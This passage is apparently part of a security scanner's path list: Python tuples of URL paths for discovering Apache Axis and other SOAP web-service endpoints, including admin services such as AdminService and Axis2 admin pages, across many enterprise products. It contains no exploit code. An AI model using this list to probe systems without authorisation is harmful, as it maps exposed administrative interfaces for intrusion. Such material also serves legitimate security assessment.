 ('/tomcat/axis/servlet/AxisServlet', '/tomcat/axis/servlet/AxisServlet'),
 ('/tomcat/axis/happyaxis.jsp', None),
 ('/tomcat/axis/', None),
 ('/juddi/services/{rand}', '/juddi/services'),
 ('/juddi/services/Version?wsdl', '/juddi/services'),
 ('/juddi/services', '/juddi/services'),
 ('/juddi/servlet/AxisServlet', '/juddi/servlet/AxisServlet'),
 ('/juddi/happyaxis.jsp', None),
 ('/juddi/', None),
 ('/imcws/services/{rand}', '/imcws/services'),
 ('/imcws/services/Version?wsdl', '/imcws/services'),
 ('/imcws/services', '/imcws/services'),
 ('/imcws/servlet/AxisServlet', '/imcws/servlet/AxisServlet'),
 ('/imcws/happyaxis.jsp', None),
 ('/imcws/', None),
 ('/WebServiceImpl/services/{rand}', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services/Version?wsdl', '/WebServiceImpl/services'),
 ('/WebServiceImpl/services', '/WebServiceImpl/services'),
 ('/WebServiceImpl/servlet/AxisServlet', '/WebServiceImpl/servlet/AxisServlet'),
 ('/WebServiceImpl/happyaxis.jsp', None),
 ('/WebServiceImpl/', None),
 ('/wssgs/services/{rand}', '/wssgs/services'),
 ('/wssgs/services/Version?wsdl', '/wssgs/services'),
 ('/wssgs/happyaxis.jsp', None),
 ('/wssgs/services', '/wssgs/services'),
 ('/wssgs/servlet/AxisServlet', '/wssgs/servlet/AxisServlet'),
 ('/wssgs/', None),
 ('/sakai-axis/services/{rand}', '/sakai-axis/services'),
 ('/sakai-axis/services', '/sakai-axis/services'),
 ('/sakai-axis/servlet/AxisServlet', '/sakai-axis/servlet/AxisServlet'),
 ('/sakai-axis/services/Version?wsdl', '/sakai-axis/services'),
 ('/sakai-axis/happyaxis.jsp', None),
 ('/sakai-axis/', None),
 ('/globalsight/services/{rand}', '/globalsight/services'),
 ('/globalsight/services/Version?wsdl', '/globalsight/services'),
 ('/globalsight/services', '/globalsight/services'),
 ('/globalsight/servlet/AxisServlet', '/globalsight/servlet/AxisServlet'),
 ('/globalsight/happyaxis.jsp', None),
 ('/globalsight/', None),
 ('/jasperserver/services/{rand}', '/jasperserver/services'),
 ('/jasperserver/services/Version?wsdl', '/jasperserver/services'),
 ('/jasperserver/services', '/jasperserver/services'),
 ('/jasperserver/servlet/AxisServlet', '/jasperserver/servlet/AxisServlet'),
 ('/jasperserver/happyaxis.jsp', None),
 ('/jasperserver/', None),
 ('/jasperserver-pro/services/{rand}', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services/Version?wsdl', '/jasperserver-pro/services'),
 ('/jasperserver-pro/services', '/jasperserver-pro/services'),
 ('/jasperserver-pro/servlet/AxisServlet', '/jasperserver-pro/servlet/AxisServlet'),
 ('/jasperserver-pro/happyaxis.jsp', None),
 ('/jasperserver-pro/', None),
 ('/alfresco/services/{rand}', '/alfresco/services'),
 ('/alfresco/services', '/alfresco/services'),
 ('/alfresco/servlet/AxisServlet', '/alfresco/servlet/AxisServlet'),
 ('/alfresco/services/Version?wsdl', '/alfresco/services'),
 ('/alfresco/happyaxis.jsp', None),
 ('/alfresco/', None),
 ('/tresearch/services/{rand}', '/tresearch/services'),
 ('/tresearch/services/Version?wsdl', '/tresearch/services'),
 ('/tresearch/happyaxis.jsp', None),
 ('/tresearch/services', '/tresearch/services'),
 ('/tresearch/servlet/AxisServlet', '/tresearch/servlet/AxisServlet'),
 ('/tresearch/', None),
 ('/MicroStrategyWS/services/{rand}', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/services/Version?wsdl', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/happyaxis.jsp', None),
 ('/MicroStrategyWS/services', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/servlet/AxisServlet', '/MicroStrategyWS/servlet/AxisServlet'),
 ('/MicroStrategyWS/', None),
 ('/rpc/services/{rand}', '/rpc/services'),
 ('/rpc/services', '/rpc/services'),
 ('/rpc/servlet/AxisServlet', '/rpc/servlet/AxisServlet'),
 ('/rpc/services/Version?wsdl', '/rpc/services'),
 ('/rpc/happyaxis.jsp', None),
 ('/rpc/', None),
 ('/axis-ws/services/{rand}', '/axis-ws/services'),
 ('/axis-ws/services', '/axis-ws/services'),
 ('/axis-ws/servlet/AxisServlet', '/axis-ws/servlet/AxisServlet'),
 ('/axis-ws/services/Version?wsdl', '/axis-ws/services'),
 ('/axis-ws/happyaxis.jsp', None),
 ('/axis-ws/', None),
 ('/axisws/services/{rand}', '/axisws/services'),
 ('/axisws/services', '/axisws/services'),
 ('/axisws/servlet/AxisServlet', '/axisws/servlet/AxisServlet'),
 ('/axisws/services/Version?wsdl', '/axisws/services'),
 ('/axisws/happyaxis.jsp', None),
 ('/axisws/', None),
 ('/soapws/services/{rand}', '/soapws/services'),
 ('/soapws/services', '/soapws/services'),
 ('/soapws/servlet/AxisServlet', '/soapws/servlet/AxisServlet'),
 ('/soapws/services/Version?wsdl', '/soapws/services'),
 ('/soapws/happyaxis.jsp', None),
 ('/soapws/', None),
 ('/esb/services/{rand}', '/esb/services'),
 ('/esb/services', '/esb/services'),
 ('/esb/servlet/AxisServlet', '/esb/servlet/AxisServlet'),
 ('/esb/services/Version?wsdl', '/esb/services'),
 ('/esb/happyaxis.jsp', None),
 ('/esb/', None),
 ('/integration/services/{rand}', '/integration/services'),
 ('/integration/services/Version?wsdl', '/integration/services'),
 ('/integration/services', None),
 ('/integration/servlet/AxisServlet', '/integration/servlet/AxisServlet'),
 ('/integration/happyaxis.jsp', None),
 ('/integration/', None),
 ('/middleware/services/{rand}', '/middleware/services'),
 ('/middleware/services', '/middleware/services'),
 ('/middleware/servlet/AxisServlet', '/middleware/servlet/AxisServlet'),
 ('/middleware/services/Version?wsdl', '/middleware/services'),
 ('/middleware/happyaxis.jsp', None),
 ('/middleware/', None),
 ('/gateway/services/{rand}', '/gateway/services'),
 ('/gateway/services', '/gateway/services'),
 ('/gateway/servlet/AxisServlet', '/gateway/servlet/AxisServlet'),
 ('/gateway/services/Version?wsdl', '/gateway/services'),
 ('/gateway/happyaxis.jsp', None),
 ('/gateway/', None),
 ('/app/services/{rand}', '/app/services'),
 ('/app/services', '/app/services'),
 ('/app/servlet/AxisServlet', '/app/servlet/AxisServlet'),
 ('/app/services/Version?wsdl', '/app/services'),
 ('/app/happyaxis.jsp', None),
 ('/app/', None),
 ('/portal/services/{rand}', '/portal/services'),
 ('/portal/services/Version?wsdl', '/portal/services'),
 ('/portal/services', '/portal/services'),
 ('/portal/servlet/AxisServlet', '/portal/servlet/AxisServlet'),
 ('/portal/happyaxis.jsp', None),
 ('/portal/', None),
 ('/server/services/{rand}', '/server/services'),
 ('/server/services', '/server/services'),
 ('/server/servlet/AxisServlet', '/server/servlet/AxisServlet'),
 ('/server/services/Version?wsdl', '/server/services'),
 ('/server/happyaxis.jsp', None),
 ('/server/', None),
 ('/service/services/{rand}', '/service/services'),
 ('/service/services/Version?wsdl', '/service/services'),
 ('/service/services', '/service/services'),
 ('/service/servlet/AxisServlet', '/service/servlet/AxisServlet'),
 ('/service/happyaxis.jsp', None),
 ('/service/', None),
 ('/WebServices/services/{rand}', '/WebServices/services'),
 ('/WebServices/services', '/WebServices/services'),
 ('/WebServices/servlet/AxisServlet', '/WebServices/servlet/AxisServlet'),
 ('/WebServices/services/Version?wsdl', '/WebServices/services'),
 ('/WebServices/happyaxis.jsp', None),
 ('/WebServices/', None),
 ('/AXIS/services/{rand}', '/AXIS/services'),
 ('/AXIS/services', '/AXIS/services'),
 ('/AXIS/servlet/AxisServlet', '/AXIS/servlet/AxisServlet'),
 ('/AXIS/services/Version?wsdl', '/AXIS/services'),
 ('/AXIS/happyaxis.jsp', None),
 ('/AXIS/', None),
 ('/Axis/services/{rand}', '/Axis/services'),
 ('/Axis/services', '/Axis/services'),
 ('/Axis/servlet/AxisServlet', '/Axis/servlet/AxisServlet'),
 ('/Axis/services/Version?wsdl', '/Axis/services'),
 ('/Axis/happyaxis.jsp', None),
 ('/Axis/', None),
 ('/axis-1.4/services/{rand}', '/axis-1.4/services'),
 ('/axis-1.4/services', '/axis-1.4/services'),
 ('/axis-1.4/servlet/AxisServlet', '/axis-1.4/servlet/AxisServlet'),
 ('/axis-1.4/services/Version?wsdl', '/axis-1.4/services'),
 ('/axis-1.4/happyaxis.jsp', None),
 ('/axis-1.4/', None),
 ('/axis-1_4/services/{rand}', '/axis-1_4/services'),
 ('/axis-1_4/services', '/axis-1_4/services'),
 ('/axis-1_4/servlet/AxisServlet', '/axis-1_4/servlet/AxisServlet'),
 ('/axis-1_4/services/Version?wsdl', '/axis-1_4/services'),
 ('/axis-1_4/happyaxis.jsp', None),
 ('/axis-1_4/', None),
 ('/axis14/services/{rand}', '/axis14/services'),
 ('/axis14/services', '/axis14/services'),
 ('/axis14/servlet/AxisServlet', '/axis14/servlet/AxisServlet'),
 ('/axis14/services/Version?wsdl', '/axis14/services'),
 ('/axis14/happyaxis.jsp', None),
 ('/axis14/', None),
 ('/axis-1.3/services/{rand}', '/axis-1.3/services'),
 ('/axis-1.3/services', '/axis-1.3/services'),
 ('/axis-1.3/servlet/AxisServlet', '/axis-1.3/servlet/AxisServlet'),
 ('/axis-1.3/services/Version?wsdl', '/axis-1.3/services'),
 ('/axis-1.3/happyaxis.jsp', None),
 ('/axis-1.3/', None),
 ('/axis-1.2/services/{rand}', '/axis-1.2/services'),
 ('/axis-1.2/services', '/axis-1.2/services'),
 ('/axis-1.2/servlet/AxisServlet', '/axis-1.2/servlet/AxisServlet'),
 ('/axis-1.2/services/Version?wsdl', '/axis-1.2/services'),
 ('/axis-1.2/happyaxis.jsp', None),
 ('/axis-1.2/', None),
 ('/axis-1.2.1/services/{rand}', '/axis-1.2.1/services'),
 ('/axis-1.2.1/services', '/axis-1.2.1/services'),
 ('/axis-1.2.1/servlet/AxisServlet', '/axis-1.2.1/servlet/AxisServlet'),
 ('/axis-1.2.1/services/Version?wsdl', '/axis-1.2.1/services'),
 ('/axis-1.2.1/happyaxis.jsp', None),
 ('/axis-1.2.1/', None),
 ('/axis12/services/{rand}', '/axis12/services'),
 ('/axis12/services', '/axis12/services'),
 ('/axis12/servlet/AxisServlet', '/axis12/servlet/AxisServlet'),
 ('/axis12/services/Version?wsdl', '/axis12/services'),
 ('/axis12/happyaxis.jsp', None),
 ('/axis12/', None),
 ('/axis13/services/{rand}', '/axis13/services'),
 ('/axis13/services', '/axis13/services'),
 ('/axis13/servlet/AxisServlet', '/axis13/servlet/AxisServlet'),
 ('/axis13/services/Version?wsdl', '/axis13/services'),
 ('/axis13/happyaxis.jsp', None),
 ('/axis13/', None),
 ('/soapapi/services/{rand}', '/soapapi/services'),
 ('/soapapi/services', '/soapapi/services'),
 ('/soapapi/servlet/AxisServlet', '/soapapi/servlet/AxisServlet'),
 ('/soapapi/services/Version?wsdl', '/soapapi/services'),
 ('/soapapi/happyaxis.jsp', None),
 ('/soapapi/', None),
 ('/webapi/services/{rand}', '/webapi/services'),
 ('/webapi/services/Version?wsdl', '/webapi/services'),
 ('/webapi/services', '/webapi/services'),
 ('/webapi/servlet/AxisServlet', '/webapi/servlet/AxisServlet'),
 ('/webapi/happyaxis.jsp', None),
 ('/webapi/', None),
 ('/jaxrpc/services/{rand}', '/jaxrpc/services'),
 ('/jaxrpc/services', '/jaxrpc/services'),
 ('/jaxrpc/servlet/AxisServlet', '/jaxrpc/servlet/AxisServlet'),
 ('/jaxrpc/services/Version?wsdl', '/jaxrpc/services'),
 ('/jaxrpc/happyaxis.jsp', None),
 ('/jaxrpc/', None),
 ('/remoting/services/{rand}', '/remoting/services'),
 ('/remoting/services', '/remoting/services'),
 ('/remoting/servlet/AxisServlet', '/remoting/servlet/AxisServlet'),
 ('/remoting/services/Version?wsdl', '/remoting/services'),
 ('/remoting/happyaxis.jsp', None),
 ('/remoting/', None),
 ('/wsapi/services/{rand}', '/wsapi/services'),
 ('/wsapi/services', '/wsapi/services'),
 ('/wsapi/servlet/AxisServlet', '/wsapi/servlet/AxisServlet'),
 ('/wsapi/services/Version?wsdl', '/wsapi/services'),
 ('/wsapi/happyaxis.jsp', None),
 ('/wsapi/', None),
 ('/soap-ws/services/{rand}', '/soap-ws/services'),
 ('/soap-ws/services', '/soap-ws/services'),
 ('/soap-ws/servlet/AxisServlet', '/soap-ws/servlet/AxisServlet'),
 ('/soap-ws/services/Version?wsdl', '/soap-ws/services'),
 ('/soap-ws/happyaxis.jsp', None),
 ('/soap-ws/', None),
 ('/ws-soap/services/{rand}', '/ws-soap/services'),
 ('/ws-soap/services', '/ws-soap/services'),
 ('/ws-soap/servlet/AxisServlet', '/ws-soap/servlet/AxisServlet'),
 ('/ws-soap/services/Version?wsdl', '/ws-soap/services'),
 ('/ws-soap/happyaxis.jsp', None),
 ('/ws-soap/', None),
 ('/legacy/services/{rand}', '/legacy/services'),
 ('/legacy/services', '/legacy/services'),
 ('/legacy/servlet/AxisServlet', '/legacy/servlet/AxisServlet'),
 ('/legacy/services/Version?wsdl', '/legacy/services'),
 ('/legacy/happyaxis.jsp', None),
 ('/legacy/', None),
 ('/apps/services/{rand}', '/apps/services'),
 ('/apps/services', '/apps/services'),
 ('/apps/servlet/AxisServlet', '/apps/servlet/AxisServlet'),
 ('/apps/services/Version?wsdl', '/apps/services'),
 ('/apps/happyaxis.jsp', None),
 ('/apps/', None),
 ('/jira/rpc/soap/jirasoapservice-v2?wsdl', None),
 ('/confluence/rpc/soap-axis/confluenceservice-v2?wsdl', None),
 ('/wiki/rpc/soap-axis/confluenceservice-v2?wsdl', None),
 ('/confluence/plugins/servlet/soap-axis1/confluenceservice-v2?wsdl', None),
 ('/wiki/plugins/servlet/soap-axis1/confluenceservice-v2?wsdl', None),
 ('/axis/services/TelephonyService?wsdl', None),
 ('/axis/services/USD_R11_WebService?wsdl', None),
 ('/ws/services/DocbaseCredentials?wsdl', None),
 ('/axis/services/EWSConnector?wsdl', None),
 ('/axis/services/EWSConnector', None),
 ('/rpc/soap-axis/confluenceservice-v2?wsdl', None),
 ('/rpc/soap-axis/confluenceservice-v1?wsdl', None),
 ('/rpc/soap/jirasoapservice-v2?wsdl', None),
 ('/plugins/servlet/soap-axis1/confluenceservice-v2?wsdl', None),
 ('/plugins/servlet/soap-axis1/confluenceservice-v1?wsdl', None),
 ('/ce-soap50/services/{rand}', '/ce-soap50/services'),
 ('/ce-soap50/services/Version?wsdl', '/ce-soap50/services'),
 ('/ce-soap50/services/CollabNet?wsdl', None),
 ('/polarion/ws/services/{rand}', '/polarion/ws/services'),
 ('/polarion/ws/services/Version?wsdl', '/polarion/ws/services'),
 ('/polarion/ws/services/SessionWebService?wsdl', None),
 ('/axis/services/document/webtopsession?wsdl', None),
 ('/axis/services/document/admin?wsdl', None),
 ('/axis/services/document/print?wsdl', None),
 ('/axis/services/document/utility?wsdl', None),
 ('/axis/services/document/webtopcontent?wsdl', None),
 ('/axis/services/document/webtopsession', None),
 ('/axis/services/document/admin', None),
 ('/axis/services/document/print', None),
 ('/axis/services/document/utility', None),
 ('/axis/services/document/webtopcontent', None),
 ('/realtimeservice/services/RisPort?wsdl', None),
 ('/plugins/servlet/soap-axis1/{rand}', '/plugins/servlet/soap-axis1'),
 ('/plugins/servlet/soap-axis1/Version?wsdl', '/plugins/servlet/soap-axis1'),
 ('/services/userInfoWeb?wsdl', None),
 ('/services/operOriztion?wsdl', None),
 ('/services/userInfoWeb', None),
 ('/services/operOriztion', None),
 ('/services/AdminService', None),
 ('/ce-soap60/services/{rand}', '/ce-soap60/services'),
 ('/ce-soap60/services/Version?wsdl', '/ce-soap60/services'),
 ('/ce-soap60/services/CollabNet?wsdl', None),
 ('/ssf/ws/{rand}', '/ssf/ws'),
 ('/ssf/ws/Version?wsdl', '/ssf/ws'),
 ('/ssf/ws/Facade?wsdl', None),
 ('/ssf/ws/TeamingServiceV1?wsdl', None),
 ('/globalsight/services/AmbassadorWebService?wsdl', None),
 ('/realtimeservice2/services/{rand}', '/realtimeservice2/services'),
 ('/realtimeservice2/services/Version?wsdl', '/realtimeservice2/services'),
 ('/perfmonservice2/services/{rand}', '/perfmonservice2/services'),
 ('/perfmonservice2/services/Version?wsdl', '/perfmonservice2/services'),
 ('/controlcenterservice2/services/{rand}', '/controlcenterservice2/services'),
 ('/controlcenterservice2/services/Version?wsdl', '/controlcenterservice2/services'),
 ('/CDRonDemandService/services/{rand}', '/CDRonDemandService/services'),
 ('/CDRonDemandService/services/Version?wsdl', '/CDRonDemandService/services'),
 ('/logcollectionservice/services/{rand}', '/logcollectionservice/services'),
 ('/logcollectionservice/services/Version?wsdl', '/logcollectionservice/services'),
 ('/logcollectionservice2/services/{rand}', '/logcollectionservice2/services'),
 ('/logcollectionservice2/services/Version?wsdl', '/logcollectionservice2/services'),
 ('/webdialer/services/WebdialerSoapService?wsdl', None),
 ('/webdialer/services/WebdialerSoapService70?wsdl', None),
 ('/realtimeservice2/services/RISService70?wsdl', None),
 ('/perfmonservice/services/PerfmonPort?wsdl', None),
 ('/perfmonservice2/services/PerfmonService?wsdl', None),
 ('/controlcenterservice/services/ControlCenterServicesPort?wsdl', None),
 ('/controlcenterservice2/services/ControlCenterServices?wsdl', None),
 ('/CDRonDemandService/services/CDRonDemand?wsdl', None),
 ('/logcollectionservice/services/LogCollectionPort?wsdl', None),
 ('/logcollectionservice2/services/LogCollectionPortTypeService?wsdl', None),
 ('/axis2/services/{rand}', '/axis2/services'),
 ('/axis2/services/Version?wsdl', '/axis2/services'),
 ('/axis2/services/WebiPE?wsdl', None),
 ('/axis2/services/WebiPE', None),
 ('/axis2/services/WebiPE.WebiPEHttpSoap11Endpoint/', None),
 ('/axis2/services/WebiPE.WebiPEHttpSoap12Endpoint/', None),
 ('/sakai-axis/SakaiLogin.jws?wsdl', None),
 ('/sakai-axis/SakaiScript.jws?wsdl', None),
 ('/soap/services/FormsService?wsdl', None),
 ('/soap/services/AuthenticationManagerService?wsdl', None),
 ('/usm/services/{rand}', '/usm/services'),
 ('/usm/services/Version?wsdl', '/usm/services'),
 ('/usm/services/CatalogService?wsdl', None),
 ('/usm/services/UserService?wsdl', None),
 ('/introscope-web-services/services/{rand}', '/introscope-web-services/services'),
 ('/introscope-web-services/services/Version?wsdl', '/introscope-web-services/services'),
 ('/introscope-web-services/services/MetricsDataService?wsdl', None),
 ('/introscope-web-services/services/AlertPollingService?wsdl', None),
 ('/PAS/services/{rand}', '/PAS/services'),
 ('/PAS/services/Version?wsdl', '/PAS/services'),
 ('/PAS/services/WSCentralService?wsdl', None),
 ('/SiteScope/services/{rand}', '/SiteScope/services'),
 ('/SiteScope/services/Version?wsdl', '/SiteScope/services'),
 ('/SiteScope/services/APISiteScopeImpl?wsdl', None),
 ('/SiteScope/services/APIMonitorImpl?wsdl', None),
 ('/osapi/com/opsware/server/ServerService?wsdl', None),
 ('/cc/soap/{rand}', '/cc/soap'),
 ('/cc/soap/Version?wsdl', '/cc/soap'),
 ('/pc/soap/{rand}', '/pc/soap'),
 ('/pc/soap/Version?wsdl', '/pc/soap'),
 ('/bc/soap/{rand}', '/bc/soap'),
 ('/bc/soap/Version?wsdl', '/bc/soap'),
 ('/ab/soap/{rand}', '/ab/soap'),
 ('/ab/soap/Version?wsdl', '/ab/soap'),
 ('/cc/soap/PCClaimSearchIntegrationAPI?wsdl', None),
 ('/bc/soap/BillingSummaryAPI?wsdl', None),
 ('/bc/soap/BillingAPI?wsdl', None),
 ('/pc/soap/ISystemToolsAPI?wsdl', None),
 ('/cc/soap/ISystemToolsAPI?wsdl', None),
 ('/arsys/services/ARService?wsdl', None),
 ('/idm/TEWS6/{rand}', '/idm/TEWS6'),
 ('/idm/TEWS6/Version?wsdl', '/idm/TEWS6'),
 ('/ws/services/AssetOperationService?wsdl', None),
 ('/ws/services/SecurityService?wsdl', None),
 ('/ws/services/AssetOperationService', None),
 ('/ws/services/SecurityService', None),
 ('/xmlpserver/services/PublicReportService?wsdl', None),
 ('/xmlpserver/services/v2/ReportService?wsdl', None),
 ('/osapi/{rand}', '/osapi'),
 ('/osapi/Version?wsdl', '/osapi'),
 ('/awsapi/servlet/AxisServlet', '/awsapi/servlet/AxisServlet'),
 ('/awsapi/servlet/AxisServlet/Version?wsdl', '/awsapi/servlet/AxisServlet'),
 ('/iam/im/TEWS6/identityEnv?wsdl', None),
 ('/IdentityGuardAuthService/services/{rand}', '/IdentityGuardAuthService/services'),
 ('/IdentityGuardAuthService/services/Version?wsdl', '/IdentityGuardAuthService/services'),
 ('/IdentityGuardAdminService/services/{rand}', '/IdentityGuardAdminService/services'),
 ('/IdentityGuardAdminService/services/Version?wsdl', '/IdentityGuardAdminService/services'),
 ('/IdentityGuardAuthService/services/AuthenticationServiceV11?wsdl', None),
 ('/IdentityGuardAuthService/services/AuthenticationServiceV9?wsdl', None),
 ('/IdentityGuardAdminService/services/AdminServiceV11?wsdl', None),
 ('/vmware-vmo-webcontrol/webservice?wsdl', None),
 ('/nidp/services/{rand}', '/nidp/services'),
 ('/nidp/services/Version?wsdl', '/nidp/services'),
 ('/nesp/services/{rand}', '/nesp/services'),
 ('/nesp/services/Version?wsdl', '/nesp/services'),
 ('/nidp/services/DiscoveryService?wsdl', None),
 ('/dswsbobje/services/{rand}', '/dswsbobje/services'),
 ('/dswsbobje/services/Version?wsdl', '/dswsbobje/services'),
 ('/dswsbobje/services/Session?wsdl', None),
 ('/iam/im/TEWS6/{rand}', '/iam/im/TEWS6'),
 ('/iam/im/TEWS6/Version?wsdl', '/iam/im/TEWS6'),
 ('/pspc/services/{rand}', '/pspc/services'),
 ('/pspc/services/Version?wsdl', '/pspc/services'),
 ('/pspc/services/AdminService?wsdl', None),
 ('/core/services/{rand}', '/core/services'),
 ('/core/services/Version?wsdl', '/core/services'),
 ('/core/services/AgileWebService?wsdl', None),
 ('/ws/services/RepoAccessor?wsdl', None),
 ('/ws/services/RepoAccessor', None),
 ('/wsh/services/BatchServices/DataIntegration?wsdl', None),
 ('/axis/services/soap_uze_3.0?wsdl', None),
 ('/axis/services/soap_dmp_4.0?wsdl', None),
 ('/axis/services/soap_uze_3.0', None),
 ('/axis/services/soap_uze_2.0', None),
 ('/axis/services/soap_dmp_4.0', None),
 ('/SpagoBI/services/{rand}', '/SpagoBI/services'),
 ('/SpagoBI/services/Version?wsdl', '/SpagoBI/services'),
 ('/SpagoBI/services/SchedulerService?wsdl', None),
 ('/SpagoBI/sdk/DocumentsService?wsdl', None),
 ('/cmx/services/{rand}', '/cmx/services'),
 ('/cmx/services/Version?wsdl', '/cmx/services'),
 ('/cmx/services/SifService?wsdl', None),
 ('/dswsbobje/happyaxis.jsp', None),
 ('/sbm/services/{rand}', '/sbm/services'),
 ('/sbm/services/Version?wsdl', '/sbm/services'),
 ('/sbm/services/BizLogic1?wsdl', None),
 ('/prweb/PRSOAPServlet/{rand}', '/prweb/PRSOAPServlet'),
 ('/prweb/PRSOAPServlet', '/prweb/PRSOAPServlet'),
 ('/prweb/PRSOAPServlet/Version?wsdl', '/prweb/PRSOAPServlet'),
 ('/CFIDE/services/{rand}', '/CFIDE/services'),
 ('/CFIDE/services/Version?wsdl', '/CFIDE/services'),
 ('/CFIDE/services/document.cfc?wsdl', None),
 ('/CFIDE/services/pdf.cfc?wsdl', None),
 ('/MicroStrategyWS/services/MSTRWSJ?wsdl', None),
 ('/alfresco/api/RepositoryService?wsdl', None),
 ('/jasperserver/services/repository?wsdl', None),
 ('/jasperserver-pro/services/repository?wsdl', None),
 ('/jasperserver/services/ReportScheduler?wsdl', None),
 ('/SpagoBI/sdk/{rand}', '/SpagoBI/sdk'),
 ('/SpagoBI/sdk/Version?wsdl', '/SpagoBI/sdk'),
 ('/services/EtudiantMetier?wsdl', None),
 ('/services/AdministratifMetier', None),
 ('/services/EtudiantMetier', None),
 ('/api/axis/Portal_UserService?wsdl', None),
 ('/api/secure/axis/Portal_UserService?wsdl', None),
 ('/CFIDE/adminapi/administrator.cfc?wsdl', None),
 ('/CFIDE/adminapi/base.cfc?wsdl', None),
 ('/fedora/services/{rand}', '/fedora/services'),
 ('/fedora/services/Version?wsdl', '/fedora/services'),
 ('/fedora/servlet/AxisServlet', '/fedora/servlet/AxisServlet'),
 ('/fedora/servlet/AxisServlet/Version?wsdl', '/fedora/servlet/AxisServlet'),
 ('/fedora/services/access?wsdl', None),
 ('/fedora/services/management?wsdl', None),
 ('/webtools/control/SOAPService?wsdl', None),
 ('/exist/services/{rand}', '/exist/services'),
 ('/exist/services/Version?wsdl', '/exist/services'),
 ('/exist/services/Query?wsdl', None),
 ('/axis/index.html', None),
 ('/tunnel-web/secure/axis/Portal_UserService?wsdl', None),
 ('/dspace-lni/lni/{rand}', '/dspace-lni/lni'),
 ('/dspace-lni/lni/Version?wsdl', '/dspace-lni/lni'),
 ('/dspace/lni/{rand}', '/dspace/lni'),
 ('/dspace/lni/Version?wsdl', '/dspace/lni'),
 ('/dspace-lni/lni/DSpaceLNI?wsdl', None),
 ('/dspace/lni/DSpaceLNI?wsdl', None),
 ('/axis/services/urn:cominfo?wsdl', None),
 ('/axis/services/urn:cominfo', None),
 ('/wsrp4j-producer-webapp/services/{rand}', '/wsrp4j-producer-webapp/services'),
 ('/wsrp4j-producer-webapp/services/Version?wsdl', '/wsrp4j-producer-webapp/services'),
 ('/wsrp4j-producer-webapp/services/WSRPServiceDescriptionService?wsdl', None),
 ('/wsrp4j/wsrp4j/WSRPServiceDescriptionService?wsdl', None),
 ('/realtimeservice/services/SOAPMonitorService?wsdl', None),
 ('/realtimeservice/services/SOAPMonitorService', None),
 ('/wsrf/services/{rand}', '/wsrf/services'),
 ('/wsrf/services/Version?wsdl', '/wsrf/services'),
 ('/wsrf/services/ContainerRegistryService?wsdl', None),
 ('/ws4ee/services/{rand}', '/ws4ee/services'),
 ('/ws4ee/services/Version?wsdl', '/ws4ee/services'),
 ('/services/Mirth?wsdl', None),
 ('/services/Mirth', None),
 ('/juddi/services/inquiry?wsdl', None),
 ('/wsrp4j/wsrp4j/{rand}', '/wsrp4j/wsrp4j'),
 ('/wsrp4j/wsrp4j/Version?wsdl', '/wsrp4j/wsrp4j'),
 ('/Scada-LTS/services/{rand}', '/Scada-LTS/services'),
 ('/Scada-LTS/services/Version?wsdl', '/Scada-LTS/services'),
 ('/active-bpel/services/{rand}', '/active-bpel/services'),
 ('/active-bpel/services/Version?wsdl', '/active-bpel/services'),
 ('/active-bpel/services/soap12/{rand}', '/active-bpel/services/soap12'),
 ('/active-bpel/services/soap12/Version?wsdl', '/active-bpel/services/soap12'),
 ('/active-bpel/services/ActiveBpelAdmin?wsdl', None),
 ('/active-bpel/services/ActiveBpelAdmin', None),
 ('/active-bpel/services', None),
 ('/ACMEWS/services/{rand}', '/ACMEWS/services'),
 ('/ACMEWS/services/Version?wsdl', '/ACMEWS/services'),
 ('/ACMEWS/services', None),
 ('/infranetwebsvc/services/{rand}', '/infranetwebsvc/services'),
 ('/infranetwebsvc/services/Version?wsdl', '/infranetwebsvc/services'),
 ('/infranetwebsvc/services', None),
 ('/ws/services/mainservice?wsdl', None),
 ('/ws/services/mainservice', None),
 ('/juddi/inquiry', None),
 ('/juddi/publish', None),
 ('/messageeventservice/services/{rand}', '/messageeventservice/services'),
 ('/messageeventservice/services/Version?wsdl', '/messageeventservice/services'),
 ('/vmws/services/{rand}', '/vmws/services'),
 ('/vmws/services/Version?wsdl', '/vmws/services'),
 ('/messageeventservice/services/MessageEventService?wsdl', None),
 ('/vmws/services/Authentication?wsdl', None),
 ('/messageeventservice/services/MessageEventService', None),
 ('/vmws/services/Authentication', None),
 ('/ws/AdministrationClient?WSDL', None),
 ('/ws/rtis', None),
 ('/ws/AdministrationClient', None),
 ('/ws/services/WSContext', None),
 ('/openbravo/services/{rand}', '/openbravo/services'),
 ('/openbravo/services/Version?wsdl', '/openbravo/services'),
 ('/openbravo/services/ExternalSales?wsdl', None),
 ('/openbravo/services/ExternalSales', None),
 ('/openbravo/services', None),
 ('/axis/services/InfoService?wsdl', None),
 ('/axis/services/InfoService', None),
 ('/infranetwebsvc/', None),
 ('/CuramWS/services/{rand}', '/CuramWS/services'),
 ('/CuramWS/services/Version?wsdl', '/CuramWS/services'),
 ('/CuramWS/services', None),
 ('/dswsbobje/axis2-admin/', None),
 ('/adxwsvc/services/{rand}', '/adxwsvc/services'),
 ('/adxwsvc/services/Version?wsdl', '/adxwsvc/services'),
 ('/adxwsvc/services/CAdxWebServiceXmlCC?wsdl', None),
 ('/adxwsvc/services/CAdxWebServiceXmlCC', None),
 ('/ws/services/ServerWebService', None),
 ('/XIAxisAdapter/MessageServlet', None),
 ('/ormrpc/services/{rand}', '/ormrpc/services'),
 ('/ormrpc/services/Version?wsdl', '/ormrpc/services'),
 ('/ormrpc/services/EASLogin?wsdl', None),
 ('/ormrpc/services/EASLogin', None),
 ('/ormrpc/services', None),
 ('/XIAxisAdapter/{rand}', '/XIAxisAdapter'),
 ('/XIAxisAdapter/Version?wsdl', '/XIAxisAdapter'),
 ('/defaultroot/services/{rand}', '/defaultroot/services'),
 ('/defaultroot/services/Version?wsdl', '/defaultroot/services'),
 ('/defaultroot/services/AdminService', None),
 ('/defaultroot/services', None),
 ('/zfca/axis/{rand}', '/zfca/axis'),
 ('/zfca/axis/Version?wsdl', '/zfca/axis'),
 ('/zfca/axis/CreateCaFile?wsdl', None),
 ('/zfca/axis/RzptManage?wsdl', None),
 ('/zfca/axis/CreateCaFile', None),
 ('/zfca/axis/RzptManage', None),
 ('/oer/services/{rand}', '/oer/services'),
 ('/oer/services/Version?wsdl', '/oer/services'),
 ('/oer/services/FlashlineRegistry?WSDL', None),
 ('/oer/services/FlashlineRegistry?wsdl', None),
 ('/oer/services/RexAPI?wsdl', None),
